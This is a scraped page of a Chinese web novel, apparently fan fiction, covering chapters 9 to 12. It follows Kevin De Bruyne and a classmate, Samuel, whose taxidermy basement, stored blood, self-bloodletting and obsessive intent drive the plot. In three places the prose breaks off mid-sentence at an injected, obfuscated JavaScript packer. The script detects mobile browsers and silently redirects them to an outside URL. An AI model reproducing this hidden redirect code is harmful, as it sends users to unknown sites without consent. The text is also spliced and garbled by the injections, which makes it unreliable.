珍妮丝碰了碰他的胳膊,用所有人都听得见的声音揶揄道:“嘿塞米,刚才特纳说看见你不是一个人离开的,初吻的事是不是已经结束了?” 满屋子的醉鬼开始起哄。 “我是一个人去的。”塞缪尔否认道,“他喝太多,出现幻觉了。” “不可能!”特纳反应强烈,“怎么可能看错,每个人都知道,我——我现在看你都没有重影!” 接着不等塞缪尔回话,他龇着牙嘲笑说:“你肯定跟人亲嘴了,不然嘴巴怎么那么红?” “哦哦哦哦哦塞米!我们的塞米!”珍妮丝开始怪叫。 塞缪尔觉得好笑。 嘴巴红也不一定是接吻导致,也有可能是为了忍住情绪自己咬出来的。 顺便,他想,我的嘴一直就这么红。和那只眼睛一样,都是见过血的。 “真的没有别人。”塞缪尔说,“你们别瞎猜了。” 他不介意被大家议论他和德布劳内的事,甚至他很高兴被所有人知道。但这会儿还不行,他的观察阶段还没结束,凯文也还没有完全走进他的网。 不过,有点传闻是好的。对他正在做的事会有帮助。 “为什么是浴室?是不是想做坏事,结果没做成?”有人说着吹了声口哨,“别担心,大家都有这种时候!” 雷蒙德也跟着调侃,他搭上塞缪尔的肩膀,“我们好多人的第一次都是在浴室,这没什么,快也没关系。” 酒精的气息扑面而来,雷蒙德又说:“等熟练了就会很舒服。” 塞缪尔胸口剧烈起伏了两下。 哦,性。青少年的话题永远离不开这个。 他想,他快要承受不了这种愚蠢的人类社交活动了。凯文就不蠢,凯文很有趣。只有他们两个人的时候气氛好得不像样。 凯文的腿在他的膝盖中间, 凯文掐着他的下颌, 凯文的眼睛,平静又疯狂地看着他…… 塞缪尔回忆起刚刚发生的一切,想起德布劳内控制他时的神态、温度。回来这里上学真是历史上最棒的决定! “天呐!”珍妮丝惊呼一声,“塞米,你的嘴——” “嗯?” 塞缪尔这才感觉到嘴唇上方有暖流经过。他伸手一抹,红红的一大片。 他流鼻血了。 9. 09 塞缪尔准备的房间的确很舒服,德布劳内睡得很沉。不过凌晨快3点他还是醒了,被饿醒的。 没办法,德布劳内只好下楼觅食。很意外的是,在通往厨房的路上他又撞见了塞缪尔。 有时候真怀疑是不是碰上了什么世界的漏洞,一次两次是巧合,三次四次呢?德布劳内不相信自己总能偶遇塞缪尔。 “嘿。”他简单打了招呼。 毕竟这里是塞缪尔家。 “你也睡不着吗,凯文。”塞缪尔笑着打了招呼,他看上去有些苍白。 肯定是没睡觉导致的,昨晚他们分开后那些人绝对又给他灌了不少酒,德布劳内心想。然而紧接着塞缪尔塞给他一个三明治。 德布劳内看了手里的三明治几秒,“你怎么知道?” “我不知道。”塞缪尔笑笑,“是我饿了,爬起来找吃的。我做了一整个,这是剩下的半个。” 好吧,这样的巧合是他需要的。 “谢了。”德布劳内说。 “既然我们都吃夜宵了,那不如再活动活动。”塞缪尔说,“你想不想跟我去看看我的宝贝。” 有那么一瞬间德布劳内还以为他会提起昨晚意外终止的那个接吻教学,在听清下半句后,德布劳内松了一口气。 但同时他又有那么点略微的失望。 “行啊。”德布劳内耸耸肩,“你带路。” 塞缪尔很高兴,带着他穿过一大堆门,来到了一条通往地下的长梯前。而在这些台阶旁的侧厅里,挂着一幅很大的肖像画。 德布劳内忍不住多看了几眼。 画的中心坐着一个头发花白胡子也花白的严肃老头,他身后站着位美丽的黑发女人,看上去很温柔;她左手侧是一个男人,很英俊,戴着一副无框眼镜,应该是她的丈夫。 最后,在她的右手侧,站着一个眼神冷漠面无表情的男孩,5、6岁的模样。 这是…… 小时候的塞缪尔? “哦,这个。是我外公很早之前请人画的。”塞缪尔快速扫了一眼画,并不把它当回事。 “外公?” “嗯。”塞缪尔示意德布劳内看那画上的老人,“他很有钱,早年是做战争生意的。一开始不同意我妈妈嫁给我爸爸,但她是他唯一的女儿。” “现在呢?”德布劳内意识到自己问了个蠢问题。 “大概在地下长眠吧,今年2月份我还去参加了他的葬礼。”塞缪尔对德布劳内笑了一下,“我妈妈继承了他的遗产,包括这幢房子。现在他们都是我的。不过有一部分资产得等18岁才会转移到我名下。” 塞缪尔说得很轻松,就好像这是别人的事那样,但它们引发了德布劳内的思考:富有的中年阔太太,才刚继承大笔遗产就遭遇火灾,全家只幸存了一个小儿子。 听着像阿加莎侦探小说里的剧情。 “别看那些了,跟我来。”塞缪尔说,“我们到地下去。” 德布劳内咬了一口三明治,最后看了眼那幅画,跟着塞缪尔走下楼梯。 他看到尽头处是一扇拱形的木门,上面钉了很多铁片和铁钉。塞缪尔用一把看上去就很沉的钥匙打开了它。 随着嘎吱吱的声音,另一个世界向德布劳内展开。 “这是?” 他看到了满满一屋子的标本。 那些风干了的,泡在黄色溶液里的,还有没做完被钉在台子上的,分门别类,整整齐齐摆放着。 “……” 德布劳内后悔吃了塞缪尔的三明治,他感觉自己的食管和胃正在发生某种糟糕的反应。 十几秒后,他冲到制作台旁边的洗手池那里,低头一阵呕吐,反应强烈到险些把胆汁都吐出来。 塞缪尔没有立刻上前帮忙。 他有些失望。 我还以为你不一样,凯文。 “对不起,是我欠考虑了。”塞缪尔走过去轻拍德布劳内的后背,然后递过去一些纸巾,“我还是送你回房间吧。” 德布劳内没接纸巾,漱过两次口后扭头看他,“走什么。” “嗯?” “你不要介绍你的标本吗。”德布劳内又说。 塞缪尔有些惊讶,“可是你…我以为……” “以为什么。”德布劳内紧盯着塞缪尔,“你以为我是因为看到标本才吐了吗。” “那不然呢?” “因为你的三明治太凉了。”德布劳内说,“我比完赛就过来了,没吃东西,还喝了酒。” 即使你的宝贝不是标本是童话里圣洁的独角兽,我也一样会吐。 塞缪尔听懂了德布劳内的潜台词,胸腔一阵颤抖,心跳加速。他眼睛眨都不眨地盯着德布劳内。 你果然是不同的,你真的是。 “好啊。”塞缪尔笑了,“我给你介绍。” * 他们慢慢地走着,穿梭在标本中间。 “我试过很多方式,但没有一种能让它们像活着时一样美丽。”塞缪尔说,“福尔马林只能让标本尽量保持在接受处理那一刻的状态,时间久了就会发黄;而这种风干了,用玻璃珠制成假眼睛的,看上去只是一具皮囊。” 这是当然的,因为它们死了。德布劳内想,死了的东西怎么可能和活着一样,如果一样,那还分什么死了和活着。 不过他仍然很欣赏塞缪尔的钻研精神。 走到深处的时候,德布劳内看到侧面有一扇大铁门,冷冰冰的,还上着锁。 于是他停下来问道:“那是什么?” “冷库。”塞缪尔回答说,“用来储存没做完,或者坏掉了的尸体。” 然后他打开冷库的一角展示。 “通常我会和管家一起开,自己来还是费力了一些。”他说。 德布劳内并不想进去,示意塞缪尔可以了。从那条打开的缝隙里,他看到飞舞着的冷气包裹中,有一对鹿角若隐若现。 回到门口,塞缪尔不知道从哪里抱出来一个玻璃罐,里面黑乎乎一片,像是什么黏稠的玩意。 “这又是什么?”德布劳内问。 “是血。”塞缪尔笑得迷人,“而且是我的血。” “……” 德布劳内用奇怪的眼神看向塞缪尔,“你有什么毛病?” 标本还算正常,但是这个? “我时不时就会给自己放血,尝试用我的血让标本更加鲜活。”塞缪尔耸耸肩说,“结果总是失败。” 这还用说吗。 德布劳内在心里翻了半个白眼,说道:“任何尸体不做处理都会以正常的速度分解,你还给它们加血,加速腐败。” “是啊。所以我仍在尝试。”塞缪尔回答。 突然他又说:“没有生命的标本空有美丽的外表,根本算不上有价值 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15847901|175420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的收藏品,不知道什么时候我才能收藏他们的灵魂。” 德布劳内没说话,他控制不住心跳加快,几乎要赶上比完赛的激烈程度。他按了一下胸口试图减缓速度,但没用,他又放下手。 不会吧,我竟然喜欢这种调调吗。 他盯着塞缪尔手里的罐装人血,试图找回恶心的感觉。 他失败了。 塞缪尔注意到德布劳内在盯着自己的血看,呼吸加重,一个不小心,手里的罐子掉在地上。 ‘哗啦啦’ 玻璃碎裂,满地鲜血。 * 那天晚上回房间,德布劳内没再睡很沉。他做了个梦,血腥又美丽。 他梦到塞缪尔跪在某个黑暗的环境里,背对着他,手上脚上都锁着铁链,在杀一只鹿。或许换一个动词会更贴切,但他实在找不出其他的。 那只鹿躺在地上,肚子被破开,里面满满都是宝石。血红色的宝石。 梦里他走过去。 他不是要阻止塞缪尔。 然后,跪在地上的塞缪尔从那只鹿充满各色宝石的胸腔里,捧出了一个还在跳动的、鲜血淋漓的心脏。 “你看!”塞缪尔小心翼翼,又极度狂热地把它呈给他看,“很美吧,你看,很美吧!” 画面缩小,聚焦到塞缪尔脸上。 他脸上还带着新鲜鹿血。 那个笑容太有冲击力,德布劳内一下就醒了。 他喘着气坐起来,发现自己全身都湿透了。真是好诡谲又艳丽的一个梦。 * 星期一早上,班级里的所有人都没精打采的。只有塞缪尔好像没受影响。他和每个人都打了招呼,还特别去关心了珍妮丝和她的小团体。 德布劳内继续趴在桌子上补觉。 老师走进来,宣布了一件事:圣诞节前学校会举办公演,而他们被分配到了经典的戏剧《罗密欧与朱丽叶》 “谁想来演?”老师问。 “塞缪尔!”有人提议道,“他的脸就适合来扮演罗密欧。” 女孩们笑起来。 “上一个让人心动的罗密欧扮演者是莱昂纳多,他后来成了杰克。”珍妮丝说,“要是塞缪尔愿意,谁还会看莱昂纳多。” 无聊。 德布劳内打了个哈欠,不过他赞成珍妮丝的后一句话。 塞缪尔的长相确实非常出众。 “那么塞缪尔。”老师问,“你愿意吗?” “我想可以。”塞缪尔回答。 “很好。”老师点头,“那么朱丽叶,有人愿意试试吗。” 大家一致决定该由珍妮丝来扮演朱丽叶。 德布劳内动了动肩膀,然后他听到塞缪尔问:“我可以自己选吗?” 老师说可以。 班级里的所有人开始起哄,包括珍妮丝本人,特纳更是吹了一个很长的口哨。 德布劳内感觉后背上有道视线,他几乎屏住呼吸,心想这太荒谬了。 然而塞缪尔沉默好久,最终笑笑还是说:“我的错,没有比珍妮丝更好的人选了。” 起哄的声音很大了。 “你们会是很好的一对情侣。”特纳调侃,“死在一起的那种。” 德布劳内继续睡觉。 那两道视线还在他的后背上。凉凉的,黏黏的,像那晚玻璃罐里破碎的血。 有病。 10. 10 接下来的两天德布劳内都没去学校,因为他有比赛任务。这次要去的客场比较远,所以提前一天他就请好了假。 当然,就算去了学校他也不打算和塞缪尔说话。事实上他准备找老师调座位了。这几天训练的时候他总是想起塞缪尔,那怎么看都不是件好事。 及时止损才是首要的。 星期三下午,亨克青年队的大巴从南方返回。他们收获了一场1-0的胜利,虽然比分没有太令人兴奋,但总归是获胜。 车上,德布劳内的队友们在聊天。通常情况下他也会参与其中,但今天没有。德布劳内靠在后面,戴着一只耳机听歌。 他想要放空自己,可他的大脑同时关注着歌曲的旋律、其他人的聊天内容,以及塞缪尔。 “……” 德布劳内心里骂了句,把帽檐压低。 另一边的队友们全然没有发现他的异常,聊着聊着,话题突然来到一个奇怪的地方。 “你们知道吗,最近郊外的林子里没了不少鹿。”有人神秘兮兮地说道,“这是真的,前不久我和爸爸去打猎,一整天都见不到几只。” 这有什么好稀奇的,鹿是一种很警惕的动物,到了狩猎季更是小心。德布劳内定了定神想,说不定不是鹿少了,而是你们技艺不精遇不上呢。 “你们别不信,还有其他人也感觉到了。那天我们还遇到了一对儿父子,他们也一只鹿都没见到。”那人又说。 “可能我们这里出现了反社会连环杀人狂。”亨克青年队的门将接过话,开玩笑说,“我在图书馆看到过,这样的人最显著的特点有三个,其中之一就是杀害动物。” “天!你不要吓我。” “我没有,这个结论是犯罪心理专家得出来的。”门将说道,“书上写,反社会连环杀手的身上经常会出现这些特点:杀害动物,纵火,还有一个最重要的,尿床。” 车厢里一阵嘲笑声。 “真的假的,还会尿床?说出来真是丢人。”所有人哈哈大笑。 “有时候他们还性无能。”门将补充。 一时间车厢里充满了快活的空气。 青少年最喜欢听这种猎奇故事,但多数不会放在心上。德布劳内把这事记下了,然后在心里翻来覆去琢磨几遍,莫名想到了塞缪尔家的那场大火。 后半段路程德布劳内没再听队友们聊天,他戴上了两只耳机听歌。 是巧合吧。 塞缪尔的确喜欢制作标本,但他是否会为了得到尸体杀害动物?存疑。 有一瞬间德布劳内眼前闪过一帧画面,那是塞缪尔家地下,冷库里的缝隙里有一对被冰封的鹿角。 这么想,怀疑似乎真了许多。 接下来是纵火。 塞缪尔的父母和弟弟都死在那场大火里,没有任何证据就强行说他是纵火者,未免太过不入流。 而最后一个…… 德布劳内突然觉得很好笑,对他自己。 他想,与其在这里揣测,或许他应该直白地去问一下塞缪尔到底会不会尿床。 至于性无能,他觉得塞缪尔肯定不是。 可万一呢? 德布劳内突然想到了一些杂志上的劲爆画面…哦,打住,凯文。他对自己说,想象力不要那么丰富,这不好。 * 下午快到3点,德布劳内骑上了自行车。他没有返回寄宿家庭而是走另一条路去了学校。 没必要,但他还是去了。 到达学校停好车子,德布劳内走进教学楼。果然里面已经没什么人在了,只有一些课外活动小组没有走。 德布劳内顺着走廊漫无目的地走着,时不时朝教室里面看。像在找什么人。没多会儿他在西边的一间教室门口停了下来。 [一只雪白的鸽子与乌鸦成群结队,如此形象。那位美丽的女士,跳完这曲舞看她还往哪儿钻。触摸她的手让我粗糙的手幸福。我爱过谁没有?眼睛啊,说吧,从不曾!周末夜我才见到真正的美丽。] 屋子里,塞缪尔头顶戴了个银色面具,身上披着简易服装,正在用英语认真诵读罗密欧的台词。 德布劳内对莎翁的戏剧没兴趣,罗密欧和朱丽叶的故事他也只在小时候从妈妈的哄睡故事里听到过。 真拗口,听着塞缪尔的台词德布劳内心想。 他英语学得不错,能听懂其中大半句子,最重要的是塞缪尔念得不快,并且很好听。 歌声响起,屋子里的罗密欧和朱丽叶开始跳舞。 塞缪尔带着珍妮丝转圈,阳光在他们身上经过,最终停在塞缪尔脸上。他捧起珍妮丝的手,表情温柔又深情。 [如果我不配用手触碰这圣洁的神龛,温柔的罪过就在这里,我的双唇,两位红晕的朝圣者已准备就绪。] 他又在说台词了。 有一瞬间德布劳内产生了塞缪尔是在透过门上的玻璃对他说话的错觉,这让他往后了一步,尽量挡住自己不让屋子里的人发现。 一定是光导致的。 那个会让空间波动的什么效应。 看不到里面的情况,德布劳内只能听声。 [好信徒,你对自己的手太不公平了……] 珍妮丝的声音听起来很柔软,她的腰搂肯定也一样吧,德布劳内想。接下来是什么剧情?继续跳舞?偷偷见面?还是什么。 他们会接吻吗? 德布劳内心上出现一根羽毛,他往前一步重新往屋子里看去。 [哦,我的爱,我的朱丽叶,死亡夺走了你呼吸中的芬芳,让我用一吻封缄这桩与死亡的永恒契约!] 他看到塞缪尔悲痛地念完台词,然后低下头,虔诚地吻了他的朱丽叶。 德布劳内转头就走。 他感觉肚子里有火在烧,烧得他五脏六腑全都紧紧的,像一条拧干了水分的毛巾。 但他走了两步又返回原位。 凭什么我走? 德布劳内心想,我就要站在这里,看看你们能不能把经典戏剧演好。 下一秒他看到塞缪尔和珍妮丝还在亲。 但,不是真的亲。 位置错开了,塞缪尔只亲在珍妮丝脸颊上。 哦。 德布劳内肚子里的火消失了。 很好,也算没有辱没莎翁的经典剧,他想。 而在一门之隔的屋内,珍妮丝也没有享受与罗密欧的亲密时光,她很困惑。 “为什么我们跳过了第二幕第三幕和第四幕,突然开始排练最后一幕?塞缪尔,你有什么头绪吗?”珍妮丝问。 “抱歉,我只是突然想起最后的这一幕,感觉不是很能把握情绪,想要多练习几次。”塞缪尔回答,“对不起,没有提前告诉你,如果你——” “没关系。”珍妮丝甜甜地笑了,“我很乐意帮你的忙。” 从她的身上,塞缪尔似乎看出了什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15852313|175420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么。 “谢谢你珍妮丝。”他说,“我想出去一下,可以等我吗?” “嗯,去吧。” * 德布劳内的开心一直持续到塞缪尔走出来,两人撞了个正着。德布劳内绷紧了脸,脑子里闪过未来可能发生的任何事。 “凯文?”塞缪尔表现得很惊喜,笑容比刚才表演时真了许多,“比赛结束了吗,结果怎么样?” “…还好。”德布劳内回答,“我们赢了。” “真棒,恭喜你。”塞缪尔推了推头顶的面具,“不过你应该很累吧,怎么这个时候到学校来了?” “……” 德布劳内没说话,看向塞缪尔的银色面具。 “这是什么?”他问。 “噢,这个是罗密欧在舞会上戴的。那毕竟是他敌对家族的舞会,得伪装一下。”塞缪尔笑着说。 德布劳内才不关心那些,他上下扫了塞缪尔一眼,说道:“圣诞节你不会就这么上台吧。” “不会。”塞缪尔笑起来,“这只是最简单的,为了代入。不过我现在这样看上去很怪吗?” 一点也不。 你看上去比莱昂纳多迷人。 但德布劳内说出来的是:“嗯,有点滑稽。” “没办法,再忍受一下吧。”塞缪尔做了个哭哭脸,“希望圣诞节能快点来。” 这话德布劳内没接。 “你为什么出来?”他问。 “哦,光顾着和你说话差点忘了。”塞缪尔把面具和身上的服装一股脑塞给德布劳内,自己跑去了洗手间。 “……” 德布劳内想翻白眼。 几分钟后塞缪尔回来了,他拿回自己的东西,说道:“麻烦你了凯文。要不再等一下,我很快排练完,我们一起走。” “好。”刚说完德布劳内就后悔了。 “不行。”他补了句,“不顺路。” 塞缪尔先是疑惑,随后意识到今天是比赛日。德布劳内刚回来,不用去训练场,所以他们要走的其实是相反的方向。 “真遗憾。”塞缪尔说,“那你快回去吧,好好休息,明天见凯文。” “嗯,明天见。” * 骑车回寄宿家庭的路上,德布劳内一直在哼歌,心情比之前好了许多。突然‘哗啦’一声,什么东西从他身上掉了下去。 他停下车子检查。 那是一条项链,准确的说是个挂坠盒,看上去有些年代了。打开后里面有一张指甲盖大小的照片,照片上的女人和塞缪尔有七分相似。 德布劳内想起在塞缪尔地下室旁那张很大的肖像画里,女人也出现过。 想了半天,他猜测是刚才塞缪尔把戏服和外套都塞给自己时意外留下的。 要去还给他吗? 犹豫片刻,德布劳内起身把挂坠小心放进口袋,骑上车,调转方向前往塞缪尔家。 只是去还个东西而已,他想。用不了太久,天黑之前肯定就回来了。 * 与此同时,塞缪尔从学校回了家。伴随着巴赫的F小调第5协奏曲,他仰面躺在地板上。 「我已经选择了我的灵魂伴侣,现在,到了我的伴侣做选择的时候」 塞缪尔平静地想,我给你选择的机会,如果你走开,我将不会再烦你。 反之我们将在一起。 直到永远·永远·永远…… 11. 11 不知道过了多久,天擦黑,塞缪尔还躺在地上。他漠然地看着天花板,随即突然笑起来。 “看来你做出了选择。” 话音刚落,一颗石子打在他窗户上。 塞缪尔坐起来,没有第一时去查看,而是几下把头发弄乱衣服弄皱。紧接着从柜子后面的缝隙里抹了两把灰涂在脸上和身上。 最后才揉揉眼睛,跑向窗户。 “是谁?” 在看到德布劳内的一瞬间,塞缪尔脸上的恼火变成了欣喜,“凯文?你怎么来了?” 德布劳内拿出挂坠,“你丢了这个。” “天!”塞缪尔惊讶地睁大眼睛,“你是怎么…从哪里……等一下,我马上下去!” 塞缪尔的身影消失在窗边。看他焦急的样子,德布劳内对自己来还吊坠的决定非常满意并且欣慰。 如果不是他,塞缪尔得急成什么样子。 德布劳内等了几分钟,把挂坠交给原本的主人。 “我以为我再也见不到它了。”塞缪尔握住挂坠盒放在胸前,一副失而复得的珍惜模样。 “你从哪儿找到它的?”他问。 “我身上。”德布劳内耸耸肩,“肯定是你在学校把衣服都给我保管的时候弄掉了。” “我真粗心…今天真是多亏了你,凯文。”塞缪尔低声道谢,“这是我妈妈的东西,我一直带在身上。” “不用。”德布劳内盯着塞缪尔的下颌看,那里有一块脏,灰扑扑的,让他忍不住想帮忙擦掉。 这很奇怪。 德布劳内从来没有这么想触碰过一个人,他讨厌皮肤接触,也不喜欢走在路上被人撞到。 但现在他想碰塞缪尔。 这代表什么? “快去洗澡,你身上还有别的地方也脏。”德布劳内懒得多想,说完转身。 塞缪尔一下子黯淡了,“你这就要走了吗?” “嗯。” “可是,从你那里骑车过来要好久,你又刚比完赛,肯定很累。”塞缪尔说,“至少让我请你进去坐一坐,喝杯水再走。” 这个… 德布劳内动摇了。 他看了眼塞缪尔重新笑起来的脸,跟着走进大门。就喝一杯水,不会耽误太久的。 然后, 德布劳内喝了很多杯水,还跟着塞缪尔吃了他的晚餐:煎牛排切成的条,土豆泥,小份意面,拌生菜和一碟子布丁块。 而这时候天已经完全黑下来了。 “哎呀,怎么这么黑了,我都没注意。”塞缪尔笑眯眯说道,“我不能让你走夜路,外面几乎没有灯,你骑不出去的。” “……” 就好像谁看不出来是故意的一样。 没办法,德布劳内只好答应留下来过夜。 塞缪尔高兴极了,把之前那间房的钥匙又给了他,还说:“送给你,以后想来住随时来。” 得了吧,好像他有多想来。 德布劳内讽刺着把钥匙塞进了兜里。 * 晚上,凯文·德布劳内跳上床,双手枕在脑后,心情复杂。 好像他越是想要远离塞缪尔就越是离得更近,越是想要不去想塞缪尔就越想,而越是讨厌塞缪尔就越是对他好奇。 真见鬼。 这天晚上德布劳内失眠了,一直翻来覆去怎么都睡不着。半夜,他实在受不了下床开窗透气。 他趴在窗台上,恍惚间似乎看到黑夜的院子里有个人影在动。 塞缪尔? 德布劳内揉了揉眼睛又看过去,是塞缪尔没错。 这么晚了这是做什么? 仔细一看,德布劳内发现塞缪尔正拖着两个沉重的黑色大塑料袋,底部沾有血迹。 血迹…… 一瞬间他联想到大巴车上队友说的。 德布劳内控制不住心跳加速,他跑下楼,在塞缪尔即将把那两个袋子丢掉前抓住了他。 “你在做什么?” “哦,嗨凯文,你怎么没睡觉。”塞缪尔表现得非常自然,好像自己的行为没有半点不妥,还和德布劳内打了招呼。 “……” 德布劳内没说话,就那么盯着他。然后问道:“你手里是什么?” “废弃的标本。我得赶快处理掉,不然会腐烂。”塞缪尔回答。 “是吗。”德布劳内反问。 塞缪尔脸上的表情从惊讶变得难过:“你怀疑我吗,凯文?” 德布劳内对着塞缪尔整个人比划两下。 “你这样很难不让人怀疑。”他说。 “……” 塞缪尔叹了口气。 “明白了。”他放下袋子张开双手,“来审问我吧。” “我为什么要审问你。”德布劳内继续反问,“是你需要证明自己。” 证明你不是个潜在的变.态反社会者。 塞缪尔蹲下,慢慢打开袋子。 里面分别是一只臭鼬的尸体和一只食蚁兽的尸体。能看出它们身上有被处理的痕迹,破口处还有黑色的缝合线。 真的是废弃的标本。 “现在你相信我了吗?”塞缪尔问。 不太能。 德布劳内又说:“最近周围少了很多动物。” “我的渠道绝对合法。”塞缪尔否认,“你明白的,凯文。我想保存它们的灵魂,而不是破坏。” 塞缪尔的眼神那么真诚,德布劳内差一点就放弃了。 “那为什么要这时候处理?”他问。 半夜,黑袋子,血迹。 你以为自己在拍《CSI犯罪现场调查》吗。 “因为我搞砸了。”塞缪尔低头说,“我不想让管家知道。他总是照顾我,我不想再让他帮我收拾烂摊子。” “他是你的管家。”德布劳内说。管家就应该这么做,那是他的工作。 塞缪尔选择了沉默。 等了一会儿,德布劳内突然开口,问了个看似不相关的问题:“你来的那天,跟我说看到我埋东西。” “嗯。”塞缪尔点头。 “你说那只乌鸦还活着,并且你尝试救助它。”德布劳内缓缓问道,“是真的吗。” “是。”塞缪尔说。 “说谎。” 说话太快,完全没有思考,不是谎言还能是什么?德布劳内平视着塞缪尔。但在心里的一些地方,他有种俯视对方的感觉。 “你是不是把它也做成标本了。” “我没有。”塞缪尔很委屈,“我尝试救助它,给它做了心肺复苏,但没有用。” “……” “我带你去看。”塞缪尔说,“我带你去,你就知道我没有说谎了。” 德布劳内同意了。 尽管现在已经是凌晨3点。 给我信心吧,塞缪尔。他想。 我愿意相信你。 * 塞缪尔叫醒了司机。司机开车带他们回到了那天的路上。小土包已经几乎被磨平看不见了,更何况是深夜。 但紧接着塞缪尔碰了碰德布劳内的肩膀,手电筒的光束指向某个方位。德布劳内顺着看过去,他看到在地上有一个两根树枝做成的简易十字架。 这是? 德布劳内猛地看向塞缪尔。 “我可以肯定是这里。”塞缪尔轻声说,“要挖开吗?” 德布劳内看了那个十字架一会儿,摇头表示不用了。他不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15857485|175420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想太咄咄逼人。尤其是在自己已经不占理的情况下,并且还是对塞缪尔。 他们对着那个简易的墓碑哀悼了几分钟,然后上车回去。 路上,德布劳内又想到了一个很可疑的点。 “一只臭鼬会有那么多血吗?” 塞缪尔笑了。 “里面还有我的血。”他说。 德布劳内转头看向车玻璃,从反射的画面看着塞缪尔。 “你见过我会把血储存在罐子里。”塞缪尔说,“不信的话,凯文你要不要尝一下。” 什么? 德布劳内以为自己听错了,或者错误地理解了塞缪尔的意思。 “你想让我尝什么?”德布劳内问。 “我的血啊。”塞缪尔说,“每个人,每个物种的血液味道都不一样。如果你尝过了,一定会明白。” 我不明白,也不想明白。 德布劳内看着塞缪尔,全力抵抗心中那些幻想画面,然后说:“你应该去看心理医生,弗兰肯斯坦先生。”* “或许吧。”塞缪尔说,然后笑起来,“但我不是弗兰肯斯坦,凯文,我是亚当。”* 德布劳内翻了个白眼。 “得了吧,你这个疯狂科学家。”他说。 塞缪尔没再说什么,手指悄悄爬上德布劳内的手背。德布劳内缩了一下,最终还把手停在原地。可塞缪尔没有进一步的举动了。他勾了勾德布劳内的小手指。 “你还在生气吗?”塞缪尔问。 德布劳内没有回答。 “那我们还是朋友吗?”塞缪尔又问。 德布劳内在心里念了几遍‘朋友’这个词,突然嗤笑出声,同时甩开了塞缪尔的手。 “只要你以后别再尝试让我舔你的血。”他说。 “嗯。”塞缪尔乖巧回答,“谢谢你,凯文。” 这没什么。 德布劳内撑着下巴看向窗外,讽刺地说:“谁让我们是朋友呢。” * 德布劳内回了房间,眼神飘忽,脚步也没有来的时候那样急切。塞缪尔站在门口注视着他的背影,直到完全消失不见。 你一定在幻想吧,在想我的血是什么味道。塞缪尔的笑逐渐放肆。在想我对不对,幻象舔舐我沾血手指的感觉。 或许还会咬一口。 牙齿深深陷进皮肉,红色的汁.水涌出。 棒极了,对吗。 回到楼下,塞缪尔带着一套抽血设备赤身走进浴室。浴缸里已经放好热水,他躺了进去。 他不应该在这时候做这种事。 可是不行。如果这想法得不到满足,会发生很可怕的事情。 针头挤进血管。塞缪尔闭眼感受着血液和灵魂都被汲取出去的过程。 浴室里温度越来越高。 ‘啪嗒’ 一不小心,盛放血液的袋子掉在了地上。连接处的软管弹回浴缸,新鲜的血在水里像云朵一样晕开。 “真美啊——” 塞缪尔试图捞起那些血花,但是缺氧让他出现眩晕感。 他滑进浴缸。 随后产生了幻觉。 幻象中,塞缪尔躺在一个深深的土坑里,又腥又潮。看不清脸的黑影出现,一朵朵骷髅形状的花从空中撒下,逐渐把塞缪尔掩埋。 肺泡破裂,血腥气充满鼻腔和嘴。 然后,他好像听到有什么声音在叫他。 「……塞缪尔,你是个白痴。」 凯文? 塞缪尔猛地清醒过来,他拼命抓住底部的链子拉起排水阀,没过多久,满缸的粉色水都被放掉。 塞缪尔趴在浴缸边大口呼吸。 “又一次,活下来了。” 12. 12 因为呛水,塞缪尔在家休息了一天,再去学校已经是星期五了。好多人关心了他的身体,但他对外只说自己有点感冒。 上午的哲学课大家依旧昏昏欲睡,或许是对前天的误会心有愧疚,德布劳内破天荒地主动给塞缪尔递了纸条。 他写:[你为什么不休息到下周再回来?] 塞缪尔飞快写好了回复,但没有直接回答德布劳内的问题,而是反问:[这周末还有派对,你来吗?] 德布劳内在纸条上画了个问号,然后又问:[在哪儿办?] 塞缪尔回复:[图书馆那边。雷蒙德家。] 德布劳内干脆利落地写:[不去。] 图书馆太远了,他才不会在比完赛后多骑15分钟自行车过去,就为了参加什么所谓的‘酷孩子’派对。 很快塞缪尔换了一张纸条,上面画了个笑脸,写道:[我猜到你肯定不去,所以我今天才要来啊。] 这张纸条好半天都没得到回复。 塞缪尔悄悄看过去,成功看到德布劳内写了又划,划了又写的笔尖和发红的耳朵。 如果不这么写而是更直白地表达‘因为想见你’,估计得到的就只会是一个冷漠的嗯。 快到下课的时间德布劳内才把纸条传回给塞缪尔,他又换了张新的纸,而且没有继续之前的话题,而换了句问道:[你什么时候再去排练戏剧?] 就好像他不提,塞缪尔就会把刚才的事忘掉那样。 塞缪尔笑了。 不过他没有继续纠缠,而是顺着德布劳内的问题回答说:[我们每周排练两次,不出意外的话是星期二和星期四,周日也会,安排在了上午。这样比较宽松,到圣诞节的公演也会很熟练。] 然后他想了想又写:[凯文你到时候会来看我表演吗?] 